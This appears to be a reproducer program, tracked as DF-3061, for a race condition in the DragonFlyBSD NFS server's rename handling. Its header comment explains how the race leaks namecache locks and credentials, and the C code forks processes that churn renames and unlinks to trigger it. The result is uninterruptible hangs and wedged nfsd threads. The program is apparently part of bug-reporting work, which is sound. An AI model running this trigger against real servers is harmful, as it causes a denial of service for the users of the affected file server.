DF-3061 / racer.c
/* DF-3061 - DragonFlyBSD NFS server rename-retry leak * * Trigger: while an NFS client issues rename(src, dst) against the server, * a racing writer (local process or second client op) churns the same * directory entries so the namecache topology changes between nfs_namei() * lookup and cache_lock4_tondlocked() revalidation. The server takes the * "nfs - retry rename" path in nfsrv_rename(), which calls nfs_namei() * a second time on the SAME nlookupdata. nfs_namei()'s isretry path only * rescues nd->nl_path; nlookup_init_raw() then bzero()s the whole nd, * leaking: the exclusive ncp lock on fromnd/tond leaf entries, 6 cache * refs, and 2 crhold'd ucreds. Leaked ncp lock => every later lookup of * those names blocks forever (uninterruptible); nfsd threads wedge. * * marker: "nfs - retry rename" on console/dmesg, then lookups of the * affected names hang (kill -9 ineffective), nfsd thread count drops. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <sys/wait.h> #include <sys/stat.h> static const char *dirpath; /* server-side racer: rename src<->dst + unlink, forever */ static void racer(void) { char a[512], b[512]; snprintf(a, sizeof(a), "%s/src", dirpath); snprintf(b, sizeof(b), "%s/dst", dirpath); for (;;) { rename(a, b); rename(b, a); unlink(a); unlink(b); } exit(1); } int main(int argc, char **argv) { int i, status; pid_t rp; char cmd[1024]; if (argc < 2) { fprintf(stderr, "usage: %s <exported-dir-on-server>\n", argv[0]); exit(2); } dirpath = argv[1]; /* run inside the guest ON THE EXPORTED TREE (as the "local racer") */ rp = fork(); if (rp == 0) racer(); /* parent pretends to be the churn source for client-side renames too */ for (i = 0; i < 4; i++) { pid_t p = fork(); if (p == 0) { char a[512], b[512]; snprintf(a, sizeof(a), "%s/r%d", dirpath, i); snprintf(b, sizeof(b), "%s/r%db", dirpath, i); for (;;) { int fd = open(a, O_CREAT, 0666); if (fd >= 0) close(fd); fd = open(b, O_CREAT, 0666); if (fd >= 0) close(fd); rename(a, b); unlink(b); unlink(a); } } } sleep(120); /* let the client-side racer work */ kill(rp, SIGKILL); waitpid(rp, &status, 0); fprintf(stderr, "racer done\n"); return 0; } |